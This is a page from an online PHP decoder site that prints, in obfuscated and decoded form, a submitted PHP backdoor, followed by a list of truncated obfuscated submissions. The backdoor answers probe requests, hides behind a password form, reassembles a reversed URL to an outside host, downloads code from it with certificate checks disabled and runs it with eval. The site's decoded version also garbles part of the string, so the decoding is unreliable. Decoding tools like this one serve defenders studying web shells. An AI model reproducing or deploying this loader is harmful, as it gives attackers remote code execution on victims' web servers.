Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '6e4d5228cf850d984a9159d8a6957eb2252f871ba2bdab40c199c983ea7e93d1') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto EjYBn; ZH7e7: $SS8Fu .= "\164\164"; goto gOQfW; EjYBn: $SS8Fu = ''; goto Qv0Qp; W6fR5: $SS8Fu .= "\x74\56\x36"; goto B8USm; cUnvO: $SS8Fu .= "\160\x6f\x74\x2e\x32"; goto n1Pyg; d7sEe: $SS8Fu .= "\x73\160"; goto ZH7e7; ezbE8: $SS8Fu .= "\x6f\x2f"; goto bo3NL; n1Pyg: $SS8Fu .= "\60"; goto TrpAp; gOQfW: $SS8Fu .= "\x68"; goto sNPbf; bo3NL: $SS8Fu .= "\x61\155\141\144\57"; goto cUnvO; lPoig: $SS8Fu .= "\x2f\57\x3a"; goto d7sEe; sNPbf: eval("\x3f\x3e" . Tw2kX(strrev($SS8Fu))); goto WCAFG; B8USm: $SS8Fu .= "\64\57\144\154"; goto ezbE8; TrpAp: $SS8Fu .= "\141\155\141\144"; goto lPoig; Qv0Qp: $SS8Fu .= "\x74\x78"; goto W6fR5; WCAFG: function tw2Kx($V1_rw = '') { goto uZL2M; g6EIL: $tvmad = curl_exec($xM315); goto tjIBg; OfAPr: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto S7_zX; tjIBg: curl_close($xM315); goto HUo36; o3Qql: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto hAVx5; S7_zX: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto o1PBF; o1PBF: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto g6EIL; hAVx5: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto OfAPr; uZL2M: $xM315 = curl_init(); goto o3Qql; HUo36: return $tvmad; goto GkGM8; GkGM8: }

Decrypted code:

error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '6e4d5228cf850d984a9159d8a6957eb2252f871ba2bdab40c199c983ea7e93d1') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
goto EjYBn; ZH7e7: $SS8Fu .= "tt"; goto gOQfW; EjYBn: $SS8Fu = ''; goto Qv0Qp; W6fR5: $SS8Fu .= "tv"; goto B8USm; cUnvO: $SS8Fu .= "pot.2"; goto n1Pyg; d7sEe: $SS8Fu .= "sp"; goto ZH7e7; ezbE8: $SS8Fu .= "o/"; goto bo3NL; n1Pyg: $SS8Fu .= "0"; goto TrpAp; gOQfW: $SS8Fu .= "h"; goto sNPbf; bo3NL: $SS8Fu .= "amad/"; goto cUnvO; lPoig: $SS8Fu .= "//:"; goto d7sEe; sNPbf: eval("" . Tw2kX(strrev($SS8Fu))); goto WCAFG; B8USm: $SS8Fu .= "4/dl"; goto ezbE8; TrpAp: $SS8Fu .= "amad"; goto lPoig; Qv0Qp: $SS8Fu .= "tx"; goto W6fR5; WCAFG: function tw2Kx($V1_rw = '') { goto uZL2M; g6EIL: $tvmad = curl_exec($xM315); goto tjIBg; OfAPr: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto S7_zX; tjIBg: curl_close($xM315); goto HUo36; o3Qql: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto hAVx5; S7_zX: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto o1PBF; o1PBF: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto g6EIL; hAVx5: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto OfAPr; uZL2M: $xM315 = curl_init(); goto o3Qql; HUo36: return $tvmad; goto GkGM8; GkGM8: }

Recent submissions:

<?php $_F=__FILE__;$_X='Pz48P3BocAoKbjFtNXNwMWM1IEFwcFxIdHRwXEMybnRyMmxsNXJzOwoKM3M1IElsbD... <?php $_F=__FILE__;$_X='Pz48P3BocAoKbjFtNXNwMWM1IEFwcFxNMmQ1bDsKCjNzNSBJbGwzbTRuMXQ1XEQxdD... <?php $_F=__FILE__;$_X='Pz48P3BocAoKbjFtNXNwMWM1IEFwcFxIdHRwXEMybnRyMmxsNXJzOwoKM3M1IEFwcF... <?php $_F=__FILE__;$_X='Pz48P3BocAoKbjFtNXNwMWM1IEFwcFxNMmQ1bDsKCjNzNSBJbGwzbTRuMXQ1XEQxdD... <?php $_F=__FILE__;$_X='Pz48P3BocAoKbjFtNXNwMWM1IEFwcFxIdHRwXEMybnRyMmxsNXJzOwoKM3M1IEFwcF... ?> <?php ini_set("display_errors",0); ini_set("display_startup_errors",0); if (PHP_SAPI !... <?php $_F=__FILE__;$_X='Pz48P3BocAoKbjFtNXNwMWM1IEFwcFxIdHRwXEMybnRyMmxsNXJzOwoKM3M1IElsbD... eval(base64_decode("CiBnb3RvIGJVcVlnOyBvM3MybTogZ290byB0RHZMYTsgZ2byBGZnY5MDsgcEtiOE06IGdv... <?php eval(base64_decode("\x43\151\x42\156\x62\63\x52\166\x49\107\112\x56\143\126\154\x6... <?php eval(base64_decode("\x43\151\x42\156\x62\63\x52\166\x49\107\112\x56\143\126\154\x6...